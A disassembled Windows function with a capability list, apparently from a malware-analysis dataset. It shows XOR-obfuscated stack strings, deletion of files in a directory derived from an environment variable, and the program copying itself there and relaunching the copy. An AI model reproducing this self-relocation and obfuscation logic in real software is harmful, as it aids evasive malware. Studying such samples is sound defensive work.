Function at 0x409585
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Copy file
Create directory
Create process on windows
Delete file
Encode data using xor
Enumerate files on windows
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1b1c
call fcn.004c0280
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x34], 0x77
mov eax, dword [ebp - 0x34]
xor al, 0x41
mov byte [ebp - 0x30], al
mov eax, dword [ebp - 0x34]
inc al
mov byte [ebp - 0x2f], al
mov eax, dword [ebp - 0x34]
add al, 2
xor al, 0x4c
mov byte [ebp - 0x2e], al
mov eax, dword [ebp - 0x34]
add al, 3
mov byte [ebp - 0x2d], al
mov eax, dword [ebp - 0x34]
add al, 4
xor al, 0x4c
mov byte [ebp - 0x2c], al
mov eax, dword [ebp - 0x34]
add al, 5
mov byte [ebp - 0x2b], al
mov eax, dword [ebp - 0x34]
add al, 6
xor al, 0x55
mov byte [ebp - 0x2a], al
mov eax, dword [ebp - 0x34]
add al, 7
mov byte [ebp - 0x29], al
mov eax, dword [ebp - 0x34]
add al, 8
xor al, 0x53
mov byte [ebp - 0x28], al
mov eax, dword [ebp - 0x34]
add al, 9
mov byte [ebp - 0x27], al
mov eax, dword [ebp - 0x34]
add al, 0xa
xor al, 0x45
mov byte [ebp - 0x26], al
mov eax, dword [ebp - 0x34]
add al, 0xb
mov byte [ebp - 0x25], al
mov eax, dword [ebp - 0x34]
add al, 0xc
xor al, 0x52
mov byte [ebp - 0x24], al
mov eax, dword [ebp - 0x34]
add al, 0xd
mov byte [ebp - 0x23], al
mov eax, dword [ebp - 0x34]
add al, 0xe
xor al, 0x53
mov byte [ebp - 0x22], al
mov eax, dword [ebp - 0x34]
add al, 0xf
mov byte [ebp - 0x21], al
mov eax, dword [ebp - 0x34]
add al, 0x10
xor al, 0x50
mov byte [ebp - 0x20], al
mov eax, dword [ebp - 0x34]
add al, 0x11
mov byte [ebp - 0x1f], al
mov eax, dword [ebp - 0x34]
add al, 0x12
xor al, 0x52
mov byte [ebp - 0x1e], al
mov eax, dword [ebp - 0x34]
add al, 0x13
mov byte [ebp - 0x1d], al
mov eax, dword [ebp - 0x34]
add al, 0x14
xor al, 0x4f
mov byte [ebp - 0x1c], al
mov eax, dword [ebp - 0x34]
add al, 0x15
mov byte [ebp - 0x1b], al
mov eax, dword [ebp - 0x34]
add al, 0x16
xor al, 0x46
mov byte [ebp - 0x1a], al
mov eax, dword [ebp - 0x34]
add al, 0x17
mov byte [ebp - 0x19], al
mov eax, dword [ebp - 0x34]
add al, 0x18
xor al, 0x49
mov byte [ebp - 0x18], al
mov eax, dword [ebp - 0x34]
add al, 0x19
mov byte [ebp - 0x17], al
mov eax, dword [ebp - 0x34]
add al, 0x1a
xor al, 0x4c
mov byte [ebp - 0x16], al
mov eax, dword [ebp - 0x34]
add al, 0x1b
mov byte [ebp - 0x15], al
mov eax, dword [ebp - 0x34]
add al, 0x1c
xor al, 0x45
mov byte [ebp - 0x14], al
mov eax, dword [ebp - 0x34]
add al, 0x1d
mov byte [ebp - 0x13], al
mov eax, dword [ebp - 0x34]
add al, 0x1e
xor ebx, ebx
push 0x1f
mov byte [ebp - 0x12], al
mov edx, ebx
mov al, byte [ebp - 0x30]
mov byte [ebp - 0x11], bl
pop edi
mov al, byte [ebp + edx - 0x30]
mov ecx, dword [ebp - 0x34]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x30], cl
inc edx
cmp edx, edi
jb 0x4096bf
push 0x400
lea eax, [ebp - 0x1318]
mov byte [ebp - 0x11], bl
push eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov byte [ebp - 0x10], 0x7c
mov byte [ebp - 0xf], 1
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], bl
mov al, byte [ebp - 0x10]
mov eax, ebx
dec byte [ebp + eax - 0x10]
inc eax
cmp eax, 3
jb 0x409700
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x8c8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x8c8]
push eax
call esi
mov dword [ebp - 0x6c], 0x5e
mov edx, ebx
mov byte [ebp - 0x68], 0x23
mov byte [ebp - 0x67], 0x5e
mov byte [ebp - 0x66], 2
mov byte [ebp - 0x65], 0x5e
mov byte [ebp - 0x64], 0x5e
mov al, byte [ebp - 0x68]
mov byte [ebp - 0x63], bl
mov al, byte [ebp + edx - 0x68]
mov ecx, dword [ebp - 0x6c]
xor cl, al
mov byte [ebp + edx - 0x68], cl
inc edx
cmp edx, 5
jb 0x40974e
lea eax, [ebp - 0x68]
mov byte [ebp - 0x63], bl
push eax
lea eax, [ebp - 0x8c8]
push eax
call esi
lea eax, [ebp - 0x8c8]
lea edx, [ebp - 0x1318]
push eax
mov ecx, edx
call fcn.0040a05f
lea ecx, [ebp - 0x8c8]
mov dword [esp], 0x800
call fcn.00405c85
add esp, 4
lea eax, [ebp - 0x1318]
mov esi, ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x4097fd
lea eax, [esi + esi]
cmp word [ebp + eax - 0x1318], 0x5c
jne 0x4097eb
push eax
lea edx, [ebp - 0x1318]
lea ecx, [ebp - 0x8c8]
call fcn.00405ca6
pop ecx
lea ecx, [ebp - 0x8c8]
call fcn.00409f8a
test eax, eax
jne 0x4097eb
push ebx
lea eax, [ebp - 0x8c8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x1318]
inc esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp esi, eax
jl 0x4097ad
mov byte [ebp - 0x40], 0x30
mov byte [ebp - 0x3f], 6
mov byte [ebp - 0x3e], 0x34
mov byte [ebp - 0x3d], 6
mov byte [ebp - 0x3c], 0x6b
mov byte [ebp - 0x3b], 6
mov byte [ebp - 0x3a], 0x7e
mov byte [ebp - 0x39], 6
mov byte [ebp - 0x38], 0x6b
mov byte [ebp - 0x37], 6
mov byte [ebp - 0x36], 6
mov byte [ebp - 0x35], bl
mov al, byte [ebp - 0x40]
mov eax, ebx
sub byte [ebp + eax - 0x40], 6
inc eax
cmp eax, 0xb
jb 0x409831
lea eax, [ebp - 0x40]
push eax
lea edx, [ebp - 0x1318]
lea ecx, [ebp - 0x1b18]
call fcn.0040a05f
pop ecx
lea eax, [ebp - 0xb18]
push eax
lea eax, [ebp - 0x1b18]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4098b4
lea eax, [ebp - 0xaec]
push eax
lea edx, [ebp - 0x1318]
lea ecx, [ebp - 0x8c8]
call fcn.0040a05f
pop ecx
lea eax, [ebp - 0x8c8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x409ab6
lea eax, [ebp - 0xb18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40986d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0xc], edi
mov edx, ebx
mov eax, dword [ebp - 0xc]
xor al, 0x61
mov byte [ebp - 8], al
mov eax, dword [ebp - 0xc]
inc al
mov byte [ebp - 7], al
mov eax, dword [ebp - 0xc]
add al, 2
xor al, 0x7a
mov byte [ebp - 6], al
mov eax, dword [ebp - 0xc]
add al, 3
mov byte [ebp - 5], al
mov eax, dword [ebp - 0xc]
add al, 4
xor al, 0x5f
mov byte [ebp - 4], al
mov eax, dword [ebp - 0xc]
add al, 5
mov byte [ebp - 3], al
mov eax, dword [ebp - 0xc]
add al, 6
mov byte [ebp - 1], bl
mov byte [ebp - 2], al
mov al, byte [ebp - 8]
mov al, byte [ebp + edx - 8]
mov ecx, dword [ebp - 0xc]
add cl, dl
xor cl, al
mov byte [ebp + edx - 8], cl
inc edx
cmp edx, 7
jb 0x4098fb
mov byte [ebp - 1], bl
mov edx, ebx
mov dword [ebp - 0x60], 0x25
mov byte [ebp - 0x5c], 0x7a
mov byte [ebp - 0x5b], 0x25
mov byte [ebp - 0x5a], 0x7a
mov byte [ebp - 0x59], 0x25
mov byte [ebp - 0x58], 0x7a
mov byte [ebp - 0x57], 0x25
mov byte [ebp - 0x56], 0x7a
mov byte [ebp - 0x55], 0x25
mov byte [ebp - 0x54], 0x7a
mov byte [ebp - 0x53], 0x25
mov byte [ebp - 0x52], 0x7a
mov byte [ebp - 0x51], 0x25
mov byte [ebp - 0x50], 0x7a
mov byte [ebp - 0x4f], 0x25
mov byte [ebp - 0x4e], 0x7a
mov byte [ebp - 0x4d], 0x25
mov byte [ebp - 0x4c], 0xb
mov byte [ebp - 0x4b], 0x25
mov byte [ebp - 0x4a], 0x40
mov byte [ebp - 0x49], 0x25
mov byte [ebp - 0x48], 0x5d
mov byte [ebp - 0x47], 0x25
mov byte [ebp - 0x46], 0x40
mov byte [ebp - 0x45], 0x25
mov byte [ebp - 0x44], 0x25
mov al, byte [ebp - 0x5c]
mov byte [ebp - 0x43], bl
mov al, byte [ebp + edx - 0x5c]
mov ecx, dword [ebp - 0x60]
xor cl, al
mov byte [ebp + edx - 0x5c], cl
inc edx
cmp edx, 0x19
jb 0x409986
mov ax, word [ebp - 4]
mov edi, ebx
mov byte [ebp - 0x43], bl
cmp word [ebp - 0x5c], ax
jne 0x4099d4
movzx eax, word [ebp - 8]
lea ebx, [ebp - 0x5c]
movzx esi, word [ebp - 6]
sub esi, eax
mov ecx, esi
call fcn.00407be8
add eax, dword [ebp - 8]
inc edi
mov word [ebx], ax
lea ebx, [ebp - 0x5c]
mov ax, word [ebp - 4]
lea ebx, [ebx + edi*2]
cmp word [ebx], ax
je 0x4099b5
xor ebx, ebx
lea eax, [ebp - 0x5c]
push eax
lea edx, [ebp - 0x1318]
lea ecx, [ebp - 0x8c8]
call fcn.0040a05f
pop ecx
mov ecx, 0x10000
call fcn.00405c2d
mov esi, eax
test esi, esi
je 0x409ab6
push 0x8000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x409aaf
push ebx
lea eax, [ebp - 0x8c8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x409aaf
mov dword [ebp - 0x70], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
lea eax, [ebp - 0x70]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 0x70], 1
jle 0x409a56
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [edi + eax*2]
add edi, 4
jmp 0x409a58
mov edi, ebx
push 0x44
pop ebx
push ebx
lea ecx, [ebp - 0xc8]
call fcn.00405c85
add esp, 4
lea ecx, [ebp - 0x80]
push 0x10
call fcn.00405c85
add esp, 4
mov dword [ebp - 0xc8], ebx
mov eax, ecx
xor ebx, ebx
push eax
lea eax, [ebp - 0xc8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
lea eax, [ebp - 0x8c8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x409aaf
mov ecx, esi
call fcn.00405cd2
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, esi
call fcn.00405cd2
pop edi
pop esi
pop ebx
leave
ret